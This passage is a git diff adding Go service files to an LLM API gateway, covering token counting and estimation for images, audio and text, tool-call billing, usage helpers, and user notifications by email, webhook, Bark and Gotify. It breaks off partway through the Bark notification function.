--- /dev/null
+++ b/new-api/service/token_counter.go
@@ -0,0 +1,408 @@
+package service
+
+import (
+	"errors"
+	"fmt"
+	"log"
+	"math"
+	"path/filepath"
+	"strings"
+	"unicode/utf8"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	constant2 "github.com/QuantumNous/new-api/relay/constant"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/gin-gonic/gin"
+)
+
+func getImageToken(c *gin.Context, fileMeta *types.FileMeta, model string, stream bool) (int, error) {
+	if fileMeta == nil || fileMeta.Source == nil {
+		return 0, fmt.Errorf("image_url_is_nil")
+	}
+
+	// Defaults for 4o/4.1/4.5 family unless overridden below
+	baseTokens := 85
+	tileTokens := 170
+
+	// Model classification
+	lowerModel := strings.ToLower(model)
+
+	// Special cases from existing behavior
+	if strings.HasPrefix(lowerModel, "glm-4") {
+		return 1047, nil
+	}
+
+	// Patch-based models (32x32 patches, capped at 1536, with multiplier)
+	isPatchBased := false
+	multiplier := 1.0
+	switch {
+	case strings.Contains(lowerModel, "gpt-4.1-mini"):
+		isPatchBased = true
+		multiplier = 1.62
+	case strings.Contains(lowerModel, "gpt-4.1-nano"):
+		isPatchBased = true
+		multiplier = 2.46
+	case strings.HasPrefix(lowerModel, "o4-mini"):
+		isPatchBased = true
+		multiplier = 1.72
+	case strings.HasPrefix(lowerModel, "gpt-5-mini"):
+		isPatchBased = true
+		multiplier = 1.62
+	case strings.HasPrefix(lowerModel, "gpt-5-nano"):
+		isPatchBased = true
+		multiplier = 2.46
+	}
+
+	// Tile-based model tokens and bases per doc
+	if !isPatchBased {
+		if strings.HasPrefix(lowerModel, "gpt-4o-mini") {
+			baseTokens = 2833
+			tileTokens = 5667
+		} else if strings.HasPrefix(lowerModel, "gpt-5-chat-latest") || (strings.HasPrefix(lowerModel, "gpt-5") && !strings.Contains(lowerModel, "mini") && !strings.Contains(lowerModel, "nano")) {
+			baseTokens = 70
+			tileTokens = 140
+		} else if strings.HasPrefix(lowerModel, "o1") || strings.HasPrefix(lowerModel, "o3") || strings.HasPrefix(lowerModel, "o1-pro") {
+			baseTokens = 75
+			tileTokens = 150
+		} else if strings.Contains(lowerModel, "computer-use-preview") {
+			baseTokens = 65
+			tileTokens = 129
+		} else if strings.Contains(lowerModel, "4.1") || strings.Contains(lowerModel, "4o") || strings.Contains(lowerModel, "4.5") {
+			baseTokens = 85
+			tileTokens = 170
+		}
+	}
+
+	// Respect existing feature flags/short-circuits
+	if fileMeta.Detail == "low" && !isPatchBased {
+		return baseTokens, nil
+	}
+
+	// Whether to count image tokens at all
+	if !constant.GetMediaToken {
+		return 3 * baseTokens, nil
+	}
+
+	if !constant.GetMediaTokenNotStream && !stream {
+		return 3 * baseTokens, nil
+	}
+	// Normalize detail
+	if fileMeta.Detail == "auto" || fileMeta.Detail == "" {
+		fileMeta.Detail = "high"
+	}
+
+	// 使用统一的文件服务获取图片配置
+	config, format, err := GetImageConfig(c, fileMeta.Source)
+	if err != nil {
+		return 0, err
+	}
+	if config.Width == 0 || config.Height == 0 {
+		// not an image, but might be a valid file
+		if format != "" {
+			// file type
+			return 3 * baseTokens, nil
+		}
+		return 0, errors.New(fmt.Sprintf("fail to decode image config: %s", fileMeta.GetIdentifier()))
+	}
+
+	width := config.Width
+	height := config.Height
+	log.Printf("format: %s, width: %d, height: %d", format, width, height)
+
+	if isPatchBased {
+		// 32x32 patch-based calculation with 1536 cap and model multiplier
+		ceilDiv := func(a, b int) int { return (a + b - 1) / b }
+		rawPatchesW := ceilDiv(width, 32)
+		rawPatchesH := ceilDiv(height, 32)
+		rawPatches := rawPatchesW * rawPatchesH
+		if rawPatches > 1536 {
+			// scale down
+			area := float64(width * height)
+			r := math.Sqrt(float64(32*32*1536) / area)
+			wScaled := float64(width) * r
+			hScaled := float64(height) * r
+			// adjust to fit whole number of patches after scaling
+			adjW := math.Floor(wScaled/32.0) / (wScaled / 32.0)
+			adjH := math.Floor(hScaled/32.0) / (hScaled / 32.0)
+			adj := math.Min(adjW, adjH)
+			if !math.IsNaN(adj) && adj > 0 {
+				r = r * adj
+			}
+			wScaled = float64(width) * r
+			hScaled = float64(height) * r
+			patchesW := math.Ceil(wScaled / 32.0)
+			patchesH := math.Ceil(hScaled / 32.0)
+			imageTokens := int(patchesW * patchesH)
+			if imageTokens > 1536 {
+				imageTokens = 1536
+			}
+			return int(math.Round(float64(imageTokens) * multiplier)), nil
+		}
+		// below cap
+		imageTokens := rawPatches
+		return int(math.Round(float64(imageTokens) * multiplier)), nil
+	}
+
+	// Tile-based calculation for 4o/4.1/4.5/o1/o3/etc.
+	// Step 1: fit within 2048x2048 square
+	maxSide := math.Max(float64(width), float64(height))
+	fitScale := 1.0
+	if maxSide > 2048 {
+		fitScale = maxSide / 2048.0
+	}
+	fitW := int(math.Round(float64(width) / fitScale))
+	fitH := int(math.Round(float64(height) / fitScale))
+
+	// Step 2: scale so that shortest side is exactly 768
+	minSide := math.Min(float64(fitW), float64(fitH))
+	if minSide == 0 {
+		return baseTokens, nil
+	}
+	shortScale := 768.0 / minSide
+	finalW := int(math.Round(float64(fitW) * shortScale))
+	finalH := int(math.Round(float64(fitH) * shortScale))
+
+	// Count 512px tiles
+	tilesW := (finalW + 512 - 1) / 512
+	tilesH := (finalH + 512 - 1) / 512
+	tiles := tilesW * tilesH
+
+	if common.DebugEnabled {
+		log.Printf("scaled to: %dx%d, tiles: %d", finalW, finalH, tiles)
+	}
+
+	return tiles*tileTokens + baseTokens, nil
+}
+
+func EstimateRequestToken(c *gin.Context, meta *types.TokenCountMeta, info *relaycommon.RelayInfo) (int, error) {
+	// 是否统计token
+	if !constant.CountToken {
+		return 0, nil
+	}
+
+	if meta == nil {
+		return 0, errors.New("token count meta is nil")
+	}
+
+	if info.RelayFormat == types.RelayFormatOpenAIRealtime {
+		return 0, nil
+	}
+	if info.RelayMode == constant2.RelayModeAudioTranscription || info.RelayMode == constant2.RelayModeAudioTranslation {
+		multiForm, err := common.ParseMultipartFormReusable(c)
+		if err != nil {
+			return 0, fmt.Errorf("error parsing multipart form: %v", err)
+		}
+		fileHeaders := multiForm.File["file"]
+		totalAudioToken := 0
+		for _, fileHeader := range fileHeaders {
+			file, err := fileHeader.Open()
+			if err != nil {
+				return 0, fmt.Errorf("error opening audio file: %v", err)
+			}
+			defer file.Close()
+			// get ext and io.seeker
+			ext := filepath.Ext(fileHeader.Filename)
+			duration, err := common.GetAudioDuration(c.Request.Context(), file, ext)
+			if err != nil {
+				return 0, fmt.Errorf("error getting audio duration: %v", err)
+			}
+			// 一分钟 1000 token，与 $price / minute 对齐
+			totalAudioToken += int(math.Round(math.Ceil(duration) / 60.0 * 1000))
+		}
+		return totalAudioToken, nil
+	}
+
+	model := common.GetContextKeyString(c, constant.ContextKeyOriginalModel)
+	tkm := 0
+
+	if meta.TokenType == types.TokenTypeTextNumber {
+		tkm += utf8.RuneCountInString(meta.CombineText)
+	} else {
+		tkm += CountTextToken(meta.CombineText, model)
+	}
+
+	if info.RelayFormat == types.RelayFormatOpenAI {
+		tkm += meta.ToolsCount * 8
+		tkm += meta.MessagesCount * 3 // 每条消息的格式化token数量
+		tkm += meta.NameCount * 3
+		tkm += 3
+	}
+
+	shouldFetchFiles := true
+
+	if info.RelayFormat == types.RelayFormatGemini {
+		shouldFetchFiles = false
+	}
+
+	// 是否本地计算媒体token数量
+	if !constant.GetMediaToken {
+		shouldFetchFiles = false
+	}
+
+	// 是否在非流模式下本地计算媒体token数量
+	if !constant.GetMediaTokenNotStream && !info.IsStream {
+		shouldFetchFiles = false
+	}
+
+	// 使用统一的文件服务获取文件类型
+	for _, file := range meta.Files {
+		if file.Source == nil {
+			continue
+		}
+
+		// 如果文件类型未知且需要获取，通过 MIME 类型检测
+		if file.FileType == "" || (file.Source.IsURL() && shouldFetchFiles) {
+			// 注意：这里我们直接调用 LoadFileSource 而不是 GetMimeType
+			// 因为 GetMimeType 内部可能会调用 GetFileTypeFromUrl (HEAD 请求)
+			// 而我们这里既然要计算 token，通常需要完整数据
+			cachedData, err := LoadFileSource(c, file.Source, "token_counter")
+			if err != nil {
+				if shouldFetchFiles {
+					return 0, fmt.Errorf("error getting file type: %v", err)
+				}
+				continue
+			}
+			file.FileType = DetectFileType(cachedData.MimeType)
+		}
+	}
+
+	for i, file := range meta.Files {
+		switch file.FileType {
+		case types.FileTypeImage:
+			if common.IsOpenAITextModel(model) {
+				token, err := getImageToken(c, file, model, info.IsStream)
+				if err != nil {
+					return 0, fmt.Errorf("error counting image token, media index[%d], identifier[%s], err: %v", i, file.GetIdentifier(), err)
+				}
+				tkm += token
+			} else {
+				tkm += 520
+			}
+		case types.FileTypeAudio:
+			tkm += 256
+		case types.FileTypeVideo:
+			tkm += 4096 * 2
+		case types.FileTypeFile:
+			tkm += 4096
+		default:
+			tkm += 4096 // Default case for unknown file types
+		}
+	}
+
+	common.SetContextKey(c, constant.ContextKeyPromptTokens, tkm)
+	return tkm, nil
+}
+
+func CountTokenRealtime(info *relaycommon.RelayInfo, request dto.RealtimeEvent, model string) (int, int, error) {
+	audioToken := 0
+	textToken := 0
+	switch request.Type {
+	case dto.RealtimeEventTypeSessionUpdate:
+		if request.Session != nil {
+			msgTokens := CountTextToken(request.Session.Instructions, model)
+			textToken += msgTokens
+		}
+	case dto.RealtimeEventResponseAudioDelta:
+		// count audio token
+		atk, err := CountAudioTokenOutput(request.Delta, info.OutputAudioFormat)
+		if err != nil {
+			return 0, 0, fmt.Errorf("error counting audio token: %v", err)
+		}
+		audioToken += atk
+	case dto.RealtimeEventResponseAudioTranscriptionDelta, dto.RealtimeEventResponseFunctionCallArgumentsDelta:
+		// count text token
+		tkm := CountTextToken(request.Delta, model)
+		textToken += tkm
+	case dto.RealtimeEventInputAudioBufferAppend:
+		// count audio token
+		atk, err := CountAudioTokenInput(request.Audio, info.InputAudioFormat)
+		if err != nil {
+			return 0, 0, fmt.Errorf("error counting audio token: %v", err)
+		}
+		audioToken += atk
+	case dto.RealtimeEventConversationItemCreated:
+		if request.Item != nil {
+			switch request.Item.Type {
+			case "message":
+				for _, content := range request.Item.Content {
+					if content.Type == "input_text" {
+						tokens := CountTextToken(content.Text, model)
+						textToken += tokens
+					}
+				}
+			}
+		}
+	case dto.RealtimeEventTypeResponseDone:
+		// count tools token
+		if !info.IsFirstRequest {
+			if info.RealtimeTools != nil && len(info.RealtimeTools) > 0 {
+				for _, tool := range info.RealtimeTools {
+					toolTokens := CountTokenInput(tool, model)
+					textToken += 8
+					textToken += toolTokens
+				}
+			}
+		}
+	}
+	return textToken, audioToken, nil
+}
+
+func CountTokenInput(input any, model string) int {
+	switch v := input.(type) {
+	case string:
+		return CountTextToken(v, model)
+	case []string:
+		text := ""
+		for _, s := range v {
+			text += s
+		}
+		return CountTextToken(text, model)
+	case []interface{}:
+		text := ""
+		for _, item := range v {
+			text += fmt.Sprintf("%v", item)
+		}
+		return CountTextToken(text, model)
+	}
+	return CountTokenInput(fmt.Sprintf("%v", input), model)
+}
+
+func CountAudioTokenInput(audioBase64 string, audioFormat string) (int, error) {
+	if audioBase64 == "" {
+		return 0, nil
+	}
+	duration, err := parseAudio(audioBase64, audioFormat)
+	if err != nil {
+		return 0, err
+	}
+	return int(duration / 60 * 100 / 0.06), nil
+}
+
+func CountAudioTokenOutput(audioBase64 string, audioFormat string) (int, error) {
+	if audioBase64 == "" {
+		return 0, nil
+	}
+	duration, err := parseAudio(audioBase64, audioFormat)
+	if err != nil {
+		return 0, err
+	}
+	return int(duration / 60 * 200 / 0.24), nil
+}
+
+// CountTextToken 统计文本的token数量，仅OpenAI模型使用tokenizer，其余模型使用估算
+func CountTextToken(text string, model string) int {
+	if text == "" {
+		return 0
+	}
+	if common.IsOpenAITextModel(model) {
+		tokenEncoder := getTokenEncoder(model)
+		return getTokenNum(tokenEncoder, text)
+	} else {
+		// 非openai模型，使用tiktoken-go计算没有意义，使用估算节省资源
+		return EstimateTokenByModel(model, text)
+	}
+}
diff --git a/new-api/service/token_estimator.go b/new-api/service/token_estimator.go
new file mode 100644
index 0000000..9e27269
--- /dev/null
+++ b/new-api/service/token_estimator.go
@@ -0,0 +1,230 @@
+package service
+
+import (
+	"math"
+	"strings"
+	"sync"
+	"unicode"
+)
+
+// Provider 定义模型厂商大类
+type Provider string
+
+const (
+	OpenAI  Provider = "openai"  // 代表 GPT-3.5, GPT-4, GPT-4o
+	Gemini  Provider = "gemini"  // 代表 Gemini 1.0, 1.5 Pro/Flash
+	Claude  Provider = "claude"  // 代表 Claude 3, 3.5 Sonnet
+	Unknown Provider = "unknown" // 兜底默认
+)
+
+// multipliers 定义不同厂商的计费权重
+type multipliers struct {
+	Word       float64 // 英文单词 (每词)
+	Number     float64 // 数字 (每连续数字串)
+	CJK        float64 // 中日韩字符 (每字)
+	Symbol     float64 // 普通标点符号 (每个)
+	MathSymbol float64 // 数学符号 (∑,∫,∂,√等，每个)
+	URLDelim   float64 // URL分隔符 (/,:,?,&,=,#,%) - tokenizer优化好
+	AtSign     float64 // @符号 - 导致单词切分，消耗较高
+	Emoji      float64 // Emoji表情 (每个)
+	Newline    float64 // 换行符/制表符 (每个)
+	Space      float64 // 空格 (每个)
+	BasePad    int     // 基础起步消耗 (Start/End tokens)
+}
+
+var (
+	multipliersMap = map[Provider]multipliers{
+		Gemini: {
+			Word: 1.15, Number: 2.8, CJK: 0.68, Symbol: 0.38, MathSymbol: 1.05, URLDelim: 1.2, AtSign: 2.5, Emoji: 1.08, Newline: 1.15, Space: 0.2, BasePad: 0,
+		},
+		Claude: {
+			Word: 1.13, Number: 1.63, CJK: 1.21, Symbol: 0.4, MathSymbol: 4.52, URLDelim: 1.26, AtSign: 2.82, Emoji: 2.6, Newline: 0.89, Space: 0.39, BasePad: 0,
+		},
+		OpenAI: {
+			Word: 1.02, Number: 1.55, CJK: 0.85, Symbol: 0.4, MathSymbol: 2.68, URLDelim: 1.0, AtSign: 2.0, Emoji: 2.12, Newline: 0.5, Space: 0.42, BasePad: 0,
+		},
+	}
+	multipliersLock sync.RWMutex
+)
+
+// getMultipliers 根据厂商获取权重配置
+func getMultipliers(p Provider) multipliers {
+	multipliersLock.RLock()
+	defer multipliersLock.RUnlock()
+
+	switch p {
+	case Gemini:
+		return multipliersMap[Gemini]
+	case Claude:
+		return multipliersMap[Claude]
+	case OpenAI:
+		return multipliersMap[OpenAI]
+	default:
+		// 默认兜底 (按 OpenAI 的算)
+		return multipliersMap[OpenAI]
+	}
+}
+
+// EstimateToken 计算 Token 数量
+func EstimateToken(provider Provider, text string) int {
+	m := getMultipliers(provider)
+	var count float64
+
+	// 状态机变量
+	type WordType int
+	const (
+		None WordType = iota
+		Latin
+		Number
+	)
+	currentWordType := None
+
+	for _, r := range text {
+		// 1. 处理空格和换行符
+		if unicode.IsSpace(r) {
+			currentWordType = None
+			// 换行符和制表符使用Newline权重
+			if r == '\n' || r == '\t' {
+				count += m.Newline
+			} else {
+				// 普通空格使用Space权重
+				count += m.Space
+			}
+			continue
+		}
+
+		// 2. 处理 CJK (中日韩) - 按字符计费
+		if isCJK(r) {
+			currentWordType = None
+			count += m.CJK
+			continue
+		}
+
+		// 3. 处理Emoji - 使用专门的Emoji权重
+		if isEmoji(r) {
+			currentWordType = None
+			count += m.Emoji
+			continue
+		}
+
+		// 4. 处理拉丁字母/数字 (英文单词)
+		if isLatinOrNumber(r) {
+			isNum := unicode.IsNumber(r)
+			newType := Latin
+			if isNum {
+				newType = Number
+			}
+
+			// 如果之前不在单词中，或者类型发生变化（字母<->数字），则视为新token
+			// 注意：对于OpenAI，通常"version 3.5"会切分，"abc123xyz"有时也会切分
+			// 这里简单起见，字母和数字切换时增加权重
+			if currentWordType == None || currentWordType != newType {
+				if newType == Number {
+					count += m.Number
+				} else {
+					count += m.Word
+				}
+				currentWordType = newType
+			}
+			// 单词中间的字符不额外计费
+			continue
+		}
+
+		// 5. 处理标点符号/特殊字符 - 按类型使用不同权重
+		currentWordType = None
+		if isMathSymbol(r) {
+			count += m.MathSymbol
+		} else if r == '@' {
+			count += m.AtSign
+		} else if isURLDelim(r) {
+			count += m.URLDelim
+		} else {
+			count += m.Symbol
+		}
+	}
+
+	// 向上取整并加上基础 padding
+	return int(math.Ceil(count)) + m.BasePad
+}
+
+// 辅助：判断是否为 CJK 字符
+func isCJK(r rune) bool {
+	return unicode.Is(unicode.Han, r) ||
+		(r >= 0x3040 && r <= 0x30FF) || // 日文
+		(r >= 0xAC00 && r <= 0xD7A3) // 韩文
+}
+
+// 辅助：判断是否为单词主体 (字母或数字)
+func isLatinOrNumber(r rune) bool {
+	return unicode.IsLetter(r) || unicode.IsNumber(r)
+}
+
+// 辅助：判断是否为Emoji字符
+func isEmoji(r rune) bool {
+	// Emoji的Unicode范围
+	// 基本范围：0x1F300-0x1F9FF (Emoticons, Symbols, Pictographs)
+	// 补充范围：0x2600-0x26FF (Misc Symbols), 0x2700-0x27BF (Dingbats)
+	// 表情符号：0x1F600-0x1F64F (Emoticons)
+	// 其他：0x1F900-0x1F9FF (Supplemental Symbols and Pictographs)
+	return (r >= 0x1F300 && r <= 0x1F9FF) ||
+		(r >= 0x2600 && r <= 0x26FF) ||
+		(r >= 0x2700 && r <= 0x27BF) ||
+		(r >= 0x1F600 && r <= 0x1F64F) ||
+		(r >= 0x1F900 && r <= 0x1F9FF) ||
+		(r >= 0x1FA00 && r <= 0x1FAFF) // Symbols and Pictographs Extended-A
+}
+
+// 辅助：判断是否为数学符号
+func isMathSymbol(r rune) bool {
+	// 数学运算符和符号
+	// 基本数学符号：∑ ∫ ∂ √ ∞ ≤ ≥ ≠ ≈ ± × ÷
+	// 上下标数字：² ³ ¹ ⁴ ⁵ ⁶ ⁷ ⁸ ⁹ ⁰
+	// 希腊字母等也常用于数学
+	mathSymbols := "∑∫∂√∞≤≥≠≈±×÷∈∉∋∌⊂⊃⊆⊇∪∩∧∨¬∀∃∄∅∆∇∝∟∠∡∢°′″‴⁺⁻⁼⁽⁾ⁿ₀₁₂₃₄₅₆₇₈₉₊₋₌₍₎²³¹⁴⁵⁶⁷⁸⁹⁰"
+	for _, m := range mathSymbols {
+		if r == m {
+			return true
+		}
+	}
+	// Mathematical Operators (U+2200–U+22FF)
+	if r >= 0x2200 && r <= 0x22FF {
+		return true
+	}
+	// Supplemental Mathematical Operators (U+2A00–U+2AFF)
+	if r >= 0x2A00 && r <= 0x2AFF {
+		return true
+	}
+	// Mathematical Alphanumeric Symbols (U+1D400–U+1D7FF)
+	if r >= 0x1D400 && r <= 0x1D7FF {
+		return true
+	}
+	return false
+}
+
+// 辅助：判断是否为URL分隔符（tokenizer对这些优化较好）
+func isURLDelim(r rune) bool {
+	// URL中常见的分隔符，tokenizer通常优化处理
+	urlDelims := "/:?&=;#%"
+	for _, d := range urlDelims {
+		if r == d {
+			return true
+		}
+	}
+	return false
+}
+
+func EstimateTokenByModel(model, text string) int {
+	// strings.Contains(model, "gpt-4o")
+	if text == "" {
+		return 0
+	}
+
+	model = strings.ToLower(model)
+	if strings.Contains(model, "gemini") {
+		return EstimateToken(Gemini, text)
+	} else if strings.Contains(model, "claude") {
+		return EstimateToken(Claude, text)
+	} else {
+		return EstimateToken(OpenAI, text)
+	}
+}
diff --git a/new-api/service/tokenizer.go b/new-api/service/tokenizer.go
new file mode 100644
index 0000000..9cf632b
--- /dev/null
+++ b/new-api/service/tokenizer.go
@@ -0,0 +1,63 @@
+package service
+
+import (
+	"sync"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/tiktoken-go/tokenizer"
+	"github.com/tiktoken-go/tokenizer/codec"
+)
+
+// tokenEncoderMap won't grow after initialization
+var defaultTokenEncoder tokenizer.Codec
+
+// tokenEncoderMap is used to store token encoders for different models
+var tokenEncoderMap = make(map[string]tokenizer.Codec)
+
+// tokenEncoderMutex protects tokenEncoderMap for concurrent access
+var tokenEncoderMutex sync.RWMutex
+
+func InitTokenEncoders() {
+	common.SysLog("initializing token encoders")
+	defaultTokenEncoder = codec.NewCl100kBase()
+	common.SysLog("token encoders initialized")
+}
+
+func getTokenEncoder(model string) tokenizer.Codec {
+	// First, try to get the encoder from cache with read lock
+	tokenEncoderMutex.RLock()
+	if encoder, exists := tokenEncoderMap[model]; exists {
+		tokenEncoderMutex.RUnlock()
+		return encoder
+	}
+	tokenEncoderMutex.RUnlock()
+
+	// If not in cache, create new encoder with write lock
+	tokenEncoderMutex.Lock()
+	defer tokenEncoderMutex.Unlock()
+
+	// Double-check if another goroutine already created the encoder
+	if encoder, exists := tokenEncoderMap[model]; exists {
+		return encoder
+	}
+
+	// Create new encoder
+	modelCodec, err := tokenizer.ForModel(tokenizer.Model(model))
+	if err != nil {
+		// Cache the default encoder for this model to avoid repeated failures
+		tokenEncoderMap[model] = defaultTokenEncoder
+		return defaultTokenEncoder
+	}
+
+	// Cache the new encoder
+	tokenEncoderMap[model] = modelCodec
+	return modelCodec
+}
+
+func getTokenNum(tokenEncoder tokenizer.Codec, text string) int {
+	if text == "" {
+		return 0
+	}
+	tkm, _ := tokenEncoder.Count(text)
+	return tkm
+}
diff --git a/new-api/service/tool_billing.go b/new-api/service/tool_billing.go
new file mode 100644
index 0000000..fd28fdd
--- /dev/null
+++ b/new-api/service/tool_billing.go
@@ -0,0 +1,88 @@
+package service
+
+import (
+	"math"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/setting/operation_setting"
+)
+
+// ToolCallUsage captures all tool call counts from a single request.
+type ToolCallUsage struct {
+	ModelName              string
+	WebSearchCalls         int
+	WebSearchToolName      string // "web_search_preview", "web_search", etc.
+	FileSearchCalls        int
+	ImageGenerationCall    bool
+	ImageGenerationQuality string
+	ImageGenerationSize    string
+}
+
+// ToolCallItem represents a single billed tool usage line.
+type ToolCallItem struct {
+	Name       string  `json:"name"`
+	CallCount  int     `json:"call_count"`
+	PricePer1K float64 `json:"price_per_1k"`
+	TotalPrice float64 `json:"total_price"`
+	Quota      int     `json:"quota"`
+}
+
+// ToolCallResult holds the aggregated tool call billing for a request.
+type ToolCallResult struct {
+	TotalQuota int            `json:"total_quota"`
+	Items      []ToolCallItem `json:"items,omitempty"`
+}
+
+// ComputeToolCallQuota calculates the total quota for all tool calls in a
+// request. Tool prices are resolved via GetToolPriceForModel which supports
+// model-prefix overrides. groupRatio is applied.
+func ComputeToolCallQuota(usage ToolCallUsage, groupRatio float64) ToolCallResult {
+	var items []ToolCallItem
+	totalQuota := 0
+
+	addItem := func(toolName string, count int) {
+		if count <= 0 {
+			return
+		}
+		pricePer1K := operation_setting.GetToolPriceForModel(toolName, usage.ModelName)
+		if pricePer1K <= 0 {
+			return
+		}
+		totalPrice := pricePer1K * float64(count) / 1000
+		quota := int(math.Round(totalPrice * common.QuotaPerUnit * groupRatio))
+		items = append(items, ToolCallItem{
+			Name:       toolName,
+			CallCount:  count,
+			PricePer1K: pricePer1K,
+			TotalPrice: totalPrice,
+			Quota:      quota,
+		})
+		totalQuota += quota
+	}
+
+	if usage.WebSearchCalls > 0 && usage.WebSearchToolName != "" {
+		addItem(usage.WebSearchToolName, usage.WebSearchCalls)
+	}
+
+	if usage.FileSearchCalls > 0 {
+		addItem("file_search", usage.FileSearchCalls)
+	}
+
+	if usage.ImageGenerationCall {
+		price := operation_setting.GetGPTImage1PriceOnceCall(usage.ImageGenerationQuality, usage.ImageGenerationSize)
+		quota := int(math.Round(price * common.QuotaPerUnit * groupRatio))
+		items = append(items, ToolCallItem{
+			Name:       "image_generation",
+			CallCount:  1,
+			PricePer1K: price,
+			TotalPrice: price,
+			Quota:      quota,
+		})
+		totalQuota += quota
+	}
+
+	return ToolCallResult{
+		TotalQuota: totalQuota,
+		Items:      items,
+	}
+}
diff --git a/new-api/service/usage_helpr.go b/new-api/service/usage_helpr.go
new file mode 100644
index 0000000..97d54c4
--- /dev/null
+++ b/new-api/service/usage_helpr.go
@@ -0,0 +1,33 @@
+package service
+
+import (
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/gin-gonic/gin"
+)
+
+//func GetPromptTokens(textRequest dto.GeneralOpenAIRequest, relayMode int) (int, error) {
+//	switch relayMode {
+//	case constant.RelayModeChatCompletions:
+//		return CountTokenMessages(textRequest.Messages, textRequest.Model)
+//	case constant.RelayModeCompletions:
+//		return CountTokenInput(textRequest.Prompt, textRequest.Model), nil
+//	case constant.RelayModeModerations:
+//		return CountTokenInput(textRequest.Input, textRequest.Model), nil
+//	}
+//	return 0, errors.New("unknown relay mode")
+//}
+
+func ResponseText2Usage(c *gin.Context, responseText string, modeName string, promptTokens int) *dto.Usage {
+	common.SetContextKey(c, constant.ContextKeyLocalCountTokens, true)
+	usage := &dto.Usage{}
+	usage.PromptTokens = promptTokens
+	usage.CompletionTokens = EstimateTokenByModel(modeName, responseText)
+	usage.TotalTokens = usage.PromptTokens + usage.CompletionTokens
+	return usage
+}
+
+func ValidUsage(usage *dto.Usage) bool {
+	return usage != nil && (usage.PromptTokens != 0 || usage.CompletionTokens != 0)
+}
diff --git a/new-api/service/user_notify.go b/new-api/service/user_notify.go
new file mode 100644
index 0000000..27a72b8
--- /dev/null
+++ b/new-api/service/user_notify.go
@@ -0,0 +1,281 @@
+package service
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"net/http"
+	"net/url"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/setting/system_setting"
+)
+
+func NotifyRootUser(t string, subject string, content string) {
+	user := model.GetRootUser().ToBaseUser()
+	err := NotifyUser(user.Id, user.Email, user.GetSetting(), dto.NewNotify(t, subject, content, nil))
+	if err != nil {
+		common.SysLog(fmt.Sprintf("failed to notify root user: %s", err.Error()))
+	}
+}
+
+func NotifyUpstreamModelUpdateWatchers(subject string, content string) {
+	var users []model.User
+	if err := model.DB.
+		Select("id", "email", "role", "status", "setting").
+		Where("status = ? AND role >= ?", common.UserStatusEnabled, common.RoleAdminUser).
+		Find(&users).Error; err != nil {
+		common.SysLog(fmt.Sprintf("failed to query upstream update notification users: %s", err.Error()))
+		return
+	}
+
+	notification := dto.NewNotify(dto.NotifyTypeChannelUpdate, subject, content, nil)
+	sentCount := 0
+	for _, user := range users {
+		userSetting := user.GetSetting()
+		if !userSetting.UpstreamModelUpdateNotifyEnabled {
+			continue
+		}
+		if err := NotifyUser(user.Id, user.Email, userSetting, notification); err != nil {
+			common.SysLog(fmt.Sprintf("failed to notify user %d for upstream model update: %s", user.Id, err.Error()))
+			continue
+		}
+		sentCount++
+	}
+	common.SysLog(fmt.Sprintf("upstream model update notifications sent: %d", sentCount))
+}
+
+func NotifyUser(userId int, userEmail string, userSetting dto.UserSetting, data dto.Notify) error {
+	notifyType := userSetting.NotifyType
+	if notifyType == "" {
+		notifyType = dto.NotifyTypeEmail
+	}
+
+	// Check notification limit
+	canSend, err := CheckNotificationLimit(userId, data.Type)
+	if err != nil {
+		common.SysLog(fmt.Sprintf("failed to check notification limit: %s", err.Error()))
+		return err
+	}
+	if !canSend {
+		return fmt.Errorf("notification limit exceeded for user %d with type %s", userId, notifyType)
+	}
+
+	switch notifyType {
+	case dto.NotifyTypeEmail:
+		// 优先使用设置中的通知邮箱，如果为空则使用用户的默认邮箱
+		emailToUse := userSetting.NotificationEmail
+		if emailToUse == "" {
+			emailToUse = userEmail
+		}
+		if emailToUse == "" {
+			common.SysLog(fmt.Sprintf("user %d has no email, skip sending email", userId))
+			return nil
+		}
+		return sendEmailNotify(emailToUse, data)
+	case dto.NotifyTypeWebhook:
+		webhookURLStr := userSetting.WebhookUrl
+		if webhookURLStr == "" {
+			common.SysLog(fmt.Sprintf("user %d has no webhook url, skip sending webhook", userId))
+			return nil
+		}
+
+		// 获取 webhook secret
+		webhookSecret := userSetting.WebhookSecret
+		return SendWebhookNotify(webhookURLStr, webhookSecret, data)
+	case dto.NotifyTypeBark:
+		barkURL := userSetting.BarkUrl
+		if barkURL == "" {
+			common.SysLog(fmt.Sprintf("user %d has no bark url, skip sending bark", userId))
+			return nil
+		}
+		return sendBarkNotify(barkURL, data)
+	case dto.NotifyTypeGotify:
+		gotifyUrl := userSetting.GotifyUrl
+		gotifyToken := userSetting.GotifyToken
+		if gotifyUrl == "" || gotifyToken == "" {
+			common.SysLog(fmt.Sprintf("user %d has no gotify url or token, skip sending gotify", userId))
+			return nil
+		}
+		return sendGotifyNotify(gotifyUrl, gotifyToken, userSetting.GotifyPriority, data)
+	}
+	return nil
+}
+
+func sendEmailNotify(userEmail string, data dto.Notify) error {
+	// make email content
+	content := data.Content
+	// 处理占位符
+	for _, value := range data.Values {
+		content = strings.Replace(content, dto.ContentValueParam, fmt.Sprintf("%v", value), 1)
+	}
+	return common.SendEmail(data.Title, userEmail, content)
+}
+
+func sendBarkNotify(barkURL string, data dto.Notify) error {
+	// 处理占位符
+	content := data.Content
+	for _, value := range data.Values {
+		content = strings.Replace(content, dto.ContentValueParam, fmt.Sprintf("%v", value), 1)
+	}
+
+	// 替换模板变量
+	finalURL := strings.ReplaceAll(barkURL, "{{title}}", url.QueryEscape(data.Title))
+	finalURL = strings.ReplaceAll(finalURL, "{{content}}", url.QueryEscape(content))
+
+	// 发送GET请求到Bark
+	var req *http.Request
+	var resp *http.Response
+	var err error
+
+	if system_setting.EnableWorker() {
+		// 使用worker发送请求
+		workerReq := &WorkerRequest{
+			URL:    finalURL,
